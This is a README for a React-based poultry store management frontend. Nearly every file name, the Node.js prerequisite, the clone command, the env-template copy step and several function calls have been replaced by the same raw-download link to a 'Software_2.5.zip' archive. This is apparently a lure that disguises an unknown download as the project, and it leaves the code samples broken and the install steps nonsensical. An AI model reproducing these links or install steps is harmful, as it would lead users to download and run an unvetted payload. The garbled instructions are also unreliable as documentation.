A comprehensive React-based web application designed to manage all aspects of a poultry business, including inventory management, employee administration, sales tracking, supplier management, and detailed reporting.
- Features
- Technology Stack
- Project Structure
- Installation
- Configuration
- Usage
- API Integration
- Testing
- Development Workflow
- Deployment
- Contributing
- Troubleshooting
- License
- Dashboard Analytics: Real-time business metrics, sales charts, and KPI tracking
- Inventory Management: Product catalog, stock tracking, low-stock alerts
- Employee Management: Staff directory, role-based access, performance tracking
- Sales Management: Order processing, payment tracking, sales analytics
- Supplier Management: Vendor relationships, purchase orders, supplier analytics
- Reports & Analytics: Comprehensive reporting with data visualization
- Store Management: Multi-location support, store configuration
- JWT Authentication: Secure login/logout with token management
- Role-Based Access: Admin, Manager, Employee permission levels
- Protected Routes: Secure page access based on authentication status
- Session Management: Automatic token refresh and session validation
- Responsive Design: Mobile-first approach with Tailwind CSS
- Real-time Notifications: Toast messages for user feedback
- Form Validation: Comprehensive client-side validation
- Error Handling: Graceful error boundaries and user-friendly messages
- Loading States: Smooth user experience with loading indicators
- RESTful API Integration: Complete service layer for backend communication
- State Management: Context API for global state management
- Data Caching: Efficient data fetching with custom hooks
- Real-time Updates: Live data synchronization
- React 19: Latest React with concurrent features
- Vite: Fast build tool with Hot Module Replacement (HMR)
- React Router v7: Modern routing with data loading
- Tailwind CSS: Utility-first CSS framework
- DaisyUI: Component library built on Tailwind
- Lucide React: Modern icon library
- Heroicons: Additional icon set
- Recharts: Composable charting library
- Custom Charts: Sales trends, inventory analytics
- ESLint: Code linting and formatting
- PostCSS: CSS processing
- Git: Version control
- React Context: Global state management
- Custom Hooks: Reusable logic abstraction
- Local Storage: Persistent user preferences
Frontend/
βββ public/ # Static assets
β βββ assets/ # Product images and media
β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Vite logo
βββ src/
β βββ components/ # Reusable components
β β βββ ui/ # UI components
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Form input with validation
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Dashboard metric display
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Inventory stock display
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Notification component
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Toast management
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Toast context provider
β β βββ layout/ # Layout components
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Main admin layout
β β βββ common/ # Common components
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Error handling
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Route protection
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Top navigation
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Side navigation
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Sales chart component
β βββ hooks/ # Custom React hooks
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # API data fetching
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Authentication state
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Form management
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Toast notifications
β βββ pages/ # Page components
β β βββ admin/ # Admin dashboard pages
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Main dashboard
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Employee management
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Product inventory
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Sales management
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Analytics & reports
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Supplier management
β β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Store configuration
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # User login
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # User registration
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # API testing (dev only)
β βββ services/ # API service layer
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Base API service
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Authentication APIs
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Inventory APIs
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Employee APIs
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Sales APIs
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Reports APIs
β βββ utils/ # Utility functions
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Form validation
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # API testing utilities
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Development tools
β βββ constants/ # App constants
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Mock data for development
β βββ config/ # Configuration
β β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Environment variables
β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Main app component
β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # App entry point
β βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Global styles
βββ .env # Environment variables
βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Environment template
βββ .gitignore # Git ignore rules
βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Dependencies and scripts
βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Vite configuration
βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Tailwind CSS configuration
βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # PostCSS configuration
βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # ESLint configuration
βββ https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip # Project documentation
- https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip 18.0 or higher
- npm 9.0 or higher (or yarn 1.22+)
- Git for version control
-
Clone the Repository
git clone https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip cd poultry-store-management/Frontend -
Install Dependencies
npm install # or yarn install -
Environment Configuration
# Copy environment template cp https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip .env # Edit environment variables nano .env # or use your preferred editor
-
Start Development Server
npm run dev # or yarn dev -
Access the Application
Open your browser and navigate to: http://localhost:5173
Create a .env file in the root directory:
# API Configuration
VITE_API_BASE_URL=http://localhost:5000/api
VITE_API_TIMEOUT=10000
# Application Configuration
VITE_APP_NAME=Poultry Store Management
VITE_APP_VERSION=1.0.0
# Development Configuration
VITE_ENABLE_DEBUG=true
VITE_ENABLE_API_TESTING=true
# Authentication Configuration
VITE_TOKEN_EXPIRY=24h
VITE_REFRESH_THRESHOLD=300000The project uses Vite for building. Configuration is in https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip:
export default defineConfig({
plugins: [react()],
server: {
port: 5173,
host: true,
},
build: {
outDir: "dist",
sourcemap: true,
},
});- Registration: New users can register with email and password
- Login: Existing users authenticate with credentials
- Dashboard Access: Authenticated users access the admin dashboard
- Role-Based Features: Different features based on user roles
The main dashboard provides:
- Sales Metrics: Revenue, profit, expenses tracking
- Inventory Status: Stock levels, low-stock alerts
- Recent Activity: Latest transactions and updates
- Quick Actions: Fast access to common tasks
- Product Catalog: Add, edit, delete products
- Stock Tracking: Real-time inventory levels
- Image Management: Product photo uploads
- Categories: Organize products by category
- Search & Filter: Quick product discovery
- Staff Directory: Complete employee information
- Role Assignment: Manage user permissions
- Department Organization: Group by departments
- Access Control: Security and permission management
- Sales Processing: Handle customer transactions
- Payment Tracking: Multiple payment methods
- Analytics: Visual reports and charts
- Export Options: PDF and Excel report generation
The application uses a layered service architecture:
// Base API Service
import { apiService } from "./services/api";
// Feature-Specific Services
import { authService } from "./services/authService";
import { inventoryService } from "./services/inventoryService";
import { employeeService } from "./services/employeeService";// Login Example
const handleLogin = async (credentials) => {
try {
const response = await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(credentials);
// Handle successful login
} catch (error) {
// Handle login error
}
};// Using Custom Hook
const Dashboard = () => {
const { data, loading, error } = useApi(https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip);
if (loading) return <LoadingSpinner />;
if (error) return <ErrorMessage error={error} />;
return <ProductList products={data} />;
};The frontend expects the following API endpoints:
Authentication:
POST /api/auth/login
POST /api/auth/register
POST /api/auth/logout
GET /api/auth/me
Inventory:
GET /api/products
POST /api/products
PUT /api/products/:id
DELETE /api/products/:id
GET /api/products/low-stock
Employees:
GET /api/employees
POST /api/employees
PUT /api/employees/:id
DELETE /api/employees/:id
Sales:
GET /api/sales
POST /api/sales
GET /api/sales/stats
Reports:
GET /api/reports/dashboard
GET /api/reports/sales
GET /api/reports/inventory
The application includes a built-in API testing dashboard:
- Access Testing Page:
/api-test(development only) - Run Individual Tests: Test specific endpoints
- Comprehensive Testing: Run all tests in sequence
- Console Testing: Use browser console for quick tests
// Console Testing Examples
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Test backend connection
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Test authentication
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Test products endpoint
await https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip(); // Run all tests- User registration and login
- Dashboard data loading
- Product CRUD operations
- Employee management
- Sales processing
- Report generation
- Mobile responsiveness
- Error handling
# Development
npm run dev # Start development server
npm run build # Build for production
npm run preview # Preview production build
npm run lint # Run ESLint
# Testing
npm run test # Run tests (if configured)
npm run test:api # API integration tests# Feature Development
git checkout -b feature/new-feature
git add .
git commit -m "feat: add new feature"
git push origin feature/new-feature
# Code Review & Merge
# Create Pull Request
# Review and merge to main- Components: PascalCase naming
- Files: camelCase for utilities, PascalCase for components
- Functions: camelCase with descriptive names
- Constants: UPPER_SNAKE_CASE
- CSS: Tailwind utility classes preferred
# Build the application
npm run build
# The build output will be in the 'dist' directory
ls dist/# Install Netlify CLI
npm install -g netlify-cli
# Deploy to Netlify
netlify deploy --prod --dir=dist# Install Vercel CLI
npm install -g vercel
# Deploy to Vercel
vercel --prod# Serve the built files
npx serve -s dist -l 3000https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip
VITE_APP_NAME=Poultry Store Management
VITE_ENABLE_DEBUG=falseWe welcome contributions! Please follow these steps:
-
Fork the Repository
-
Clone Your Fork
git clone https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip
-
Create Feature Branch
git checkout -b feature/amazing-feature
-
Make Changes
- Follow the code standards
- Add appropriate tests
- Update documentation
-
Commit Changes
git commit -m "feat: add amazing feature" -
Push to Branch
git push origin feature/amazing-feature
-
Create Pull Request
feat: add new feature
fix: bug fix
docs: documentation changes
style: formatting changes
refactor: code refactoring
test: adding tests
chore: maintenance tasks
# Check if backend is running
curl http://localhost:5000/api/health
# Verify environment variables
echo $VITE_API_BASE_URL# Clear node_modules and reinstall
rm -rf node_modules https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip
npm install
# Clear Vite cache
rm -rf https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip# Clear browser storage
# Open DevTools > Application > Storage > Clear Storage# Rebuild Tailwind CSS
npm run build:css
# Check Tailwind configuration
npx tailwindcss --help- Code Splitting: Use https://github.com/oliverquaye23/Frontend/raw/refs/heads/main/src/services/Software_2.5.zip() for large components
- Image Optimization: Compress product images
- Bundle Analysis: Use
npm run build:analyze - Caching: Implement service worker for offline support
Enable debug mode in development:
VITE_ENABLE_DEBUG=trueThis enables:
- Console logging
- API request/response logging
- Performance timing
- Error details
This project is licensed under the MIT License - see the LICENSE file for details.
MIT License
Copyright (c) 2024 Poultry Store Management System
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
- React Team for the amazing framework
- Vite Team for the blazing fast build tool
- Tailwind CSS for the utility-first CSS framework
- DaisyUI for the beautiful component library
- Recharts for the charting capabilities
- Lucide Icons for the icon library
For support and questions:
- Documentation: Check this README and inline code comments
- Issues: Create a GitHub issue for bugs and feature requests
- Discussions: Use GitHub Discussions for questions and ideas
- Core dashboard functionality
- Inventory management
- Employee management
- Basic authentication
- API integration layer
- Advanced reporting and analytics
- Real-time notifications
- Mobile app integration
- Advanced user permissions
- Backup and restore functionality
- Multi-tenant support
- API rate limiting
- Advanced caching strategies
- Performance monitoring
- Automated testing suite
Built with β€οΈ for efficient poultry business management
Last updated: December 2024